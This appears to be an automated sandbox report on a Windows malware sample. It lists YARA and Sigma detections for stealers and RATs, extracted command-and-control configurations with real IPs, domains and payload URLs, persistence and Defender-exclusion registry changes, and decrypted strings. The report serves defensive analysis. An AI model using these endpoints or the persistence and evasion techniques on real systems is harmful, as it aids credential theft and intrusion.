10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x503c3:$s1: file:/// 0x502fb:$s2: {11111-22222-10009-11112} 0x50353:$s3: {11111-22222-50001-00000} 0x4cd4c:$s4: get_Module 0x47f68:$s5: Reverse 0x487f0:$s6: BlockCopy 0x47f50:$s7: ReadByte 0x503d5:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1bd0e67.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1bd0e67.1.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
10.0.nRGT2oA3F8V3EBSM6dmMTrGw.exe.d10000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
10.0.nRGT2oA3F8V3EBSM6dmMTrGw.exe.d10000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.0.nRGT2oA3F8V3EBSM6dmMTrGw.exe.d10000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0xcb387:$s1: file:/// 0xcb297:$s2: {11111-22222-10009-11112} 0xcb317:$s3: {11111-22222-50001-00000} 0xc9fdb:$s4: get_Module 0x41c0ea:$s4: get_Module 0xc2f8e:$s5: Reverse 0x41abeb:$s5: Reverse 0x41ad57:$s6: BlockCopy 0xc0864:$s7: ReadByte 0x40f9a2:$s7: ReadByte 0xcb399:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
17.1.tXlQ3NLbQqxBkFS_TfaDHWX4.exe.400000.0.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1bd0e67.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1bd0e67.1.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
7.2.zFe0EAtgy56yDxXht4nmozfb.exe.9a0000.0.unpack	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
13.2.eQEIduvtZVhzsp4oDFOuc1gy.exe.140000.0.unpack	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Click to see the 31 entries

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe, ParentImage: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe, ParentProcessId: 3608, ParentProcessName: bKj5ORDxbqgwdZav4hyONQmM.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 4836, ProcessName: powercfg.exe

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe, ProcessId: 2448, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c

Sigma detected: Windows Defender Exclusions Added - Registry

Source: Registry Key set

Author: Christian Burkard (Nextron Systems): Data: Details: 1, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\qk9TaBBxh8.exe, ProcessId: 5936, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{C3174531-87C3-4E8A-B459-F082A9BDC670}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Exclusions_Extensions

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc, CommandLine: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc, ProcessId: 4044, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Avira: detection malicious, Label: HEUR/AGEN.1361904
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Avira: detection malicious, Label: TR/AD.Nekark.sbdpe

Found malware configuration

Source: 0000000F.00000002.3022417132.0000000001CD5000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.172.128.23/f993692117a3fda2.php"}
Source: 00000017.00000002.2720784429.0000000003760000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://nidoe.org/tmp/index.php", "http://sodez.ru/tmp/index.php", "http://uama.com.ua/tmp/index.php", "http://talesofpirates.net/tmp/index.php"]}
Source: 0000000F.00000003.2405630696.0000000001C00000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://185.172.128.23/f993692117a3fda2.php"}
Source: 29.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["5.42.65.50:33080"], "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}

Multi AV Scanner detection for domain / URL

Source: http://193.233.132.139/dacha/rules.exe	Virustotal: Detection: 25%	Perma Link
Source: http://185.172.128.23/8e6d9db21fb63946/nss3.dll	Virustotal: Detection: 19%	Perma Link
Source: http://185.172.128.23/f993692117a3fda2.phpt	Virustotal: Detection: 16%	Perma Link
Source: http://185.172.128.23/8e6d9db21fb63946/mozglue.dll	Virustotal: Detection: 7%	Perma Link
Source: http://185.172.128.23/8e6d9db21fb63946/sqlite3.dll	Virustotal: Detection: 19%	Perma Link
Source: http://sodez.ru/tmp/index.php	Virustotal: Detection: 20%	Perma Link
Source: https://triedchicken.net:80/cad54ba5b01423b1af8ec10ab5719d97.exe	Virustotal: Detection: 5%	Perma Link
Source: http://193.233.132.253/lumma1504.exe	Virustotal: Detection: 22%	Perma Link
Source: http://5.42.66.10/download/th/retail.phphps	Virustotal: Detection: 19%	Perma Link
Source: http://uama.com.ua/tmp/index.php	Virustotal: Detection: 17%	Perma Link
Source: https://monoblocked.com/525403/setup.exexe	Virustotal: Detection: 12%	Perma Link
Source: https://carthewasher.net/	Virustotal: Detection: 15%	Perma Link
Source: https://monoblocked.com/	Virustotal: Detection: 15%	Perma Link
Source: http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll	Virustotal: Detection: 7%	Perma Link
Source: https://monoblocked.com/525403/setup.exe	Virustotal: Detection: 13%	Perma Link
Source: https://baldurgatez.com/7725eaa6592c80f8124e769b4e8a07f7.exexe	Virustotal: Detection: 9%	Perma Link
Source: http://talesofpirates.net/tmp/index.php	Virustotal: Detection: 17%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	ReversingLabs: Detection: 91%
Source: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\Retailer_prog[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\123p[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Space_bake[1].exe	ReversingLabs: Detection: 30%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Default16_team[1].exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\cad54ba5b01423b1af8ec10ab5719d97[1].exe	ReversingLabs: Detection: 43%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\grabber[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\lumma1504[1].exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\Install.exe	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: qk9TaBBxh8.exe	ReversingLabs: Detection: 36%
Source: qk9TaBBxh8.exe	Virustotal: Detection: 25%			Perma Link

Yara detected Glupteba

Source: Yara match	File source: 17.1.tXlQ3NLbQqxBkFS_TfaDHWX4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000001.2435771287.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Machine Learning detection for dropped file

Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetProcAddress
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: LoadLibraryA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: lstrcatA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: OpenEventA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CreateEventA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CloseHandle
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Sleep
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: VirtualFree
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetSystemInfo
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: VirtualAlloc
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: HeapAlloc
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetComputerNameA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: lstrcpyA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetProcessHeap
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetCurrentProcess
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: lstrlenA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: ExitProcess
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetSystemTime
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: advapi32.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: gdi32.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: user32.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: crypt32.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: ntdll.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetUserNameA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CreateDCA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetDeviceCaps
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: ReleaseDC
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: sscanf
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: VMwareVMware
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: HAL9TH
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: JohnDoe
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: DISPLAY
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: http://185.172.128.23
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: /f993692117a3fda2.php
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: /8e6d9db21fb63946/
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: default9
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetFileAttributesA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GlobalLock
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: HeapFree
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetFileSize
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GlobalSize
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: IsWow64Process
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Process32Next
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetLocalTime
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: FreeLibrary
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetVolumeInformationA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Process32First
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetLocaleInfoA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetModuleFileNameA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: DeleteFileA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: FindNextFileA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: LocalFree
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: FindClose
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: LocalAlloc
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetFileSizeEx
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: ReadFile
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SetFilePointer
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: WriteFile
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CreateFileA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: FindFirstFileA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CopyFileA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: VirtualProtect
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetLastError
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: lstrcpynA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: MultiByteToWideChar
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GlobalFree
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: WideCharToMultiByte
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GlobalAlloc
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: OpenProcess
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: TerminateProcess
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetCurrentProcessId
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: gdiplus.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: ole32.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: bcrypt.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: wininet.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: shlwapi.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: shell32.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: psapi.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: rstrtmgr.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SelectObject
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: BitBlt
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: DeleteObject
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CreateCompatibleDC
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GdiplusStartup
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GdiplusShutdown
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GdipDisposeImage
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GdipFree
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CoUninitialize
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CoInitialize
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CoCreateInstance
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: BCryptDecrypt
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: BCryptSetProperty
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: BCryptDestroyKey
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetWindowRect
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetDesktopWindow
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetDC
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CloseWindow
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: wsprintfA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CharToOemW
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: wsprintfW
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: RegQueryValueExA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: RegEnumKeyExA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: RegOpenKeyExA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: RegCloseKey
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: RegEnumValueA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CryptUnprotectData
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SHGetFolderPathA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: ShellExecuteExA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: InternetOpenUrlA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: InternetConnectA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: InternetCloseHandle
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: InternetOpenA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: HttpSendRequestA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: HttpOpenRequestA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: InternetReadFile
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: InternetCrackUrlA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: StrCmpCA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: StrStrA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: StrCmpCW
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: PathMatchSpecA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: RmStartSession
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: RmRegisterResources
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: RmGetList
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: RmEndSession
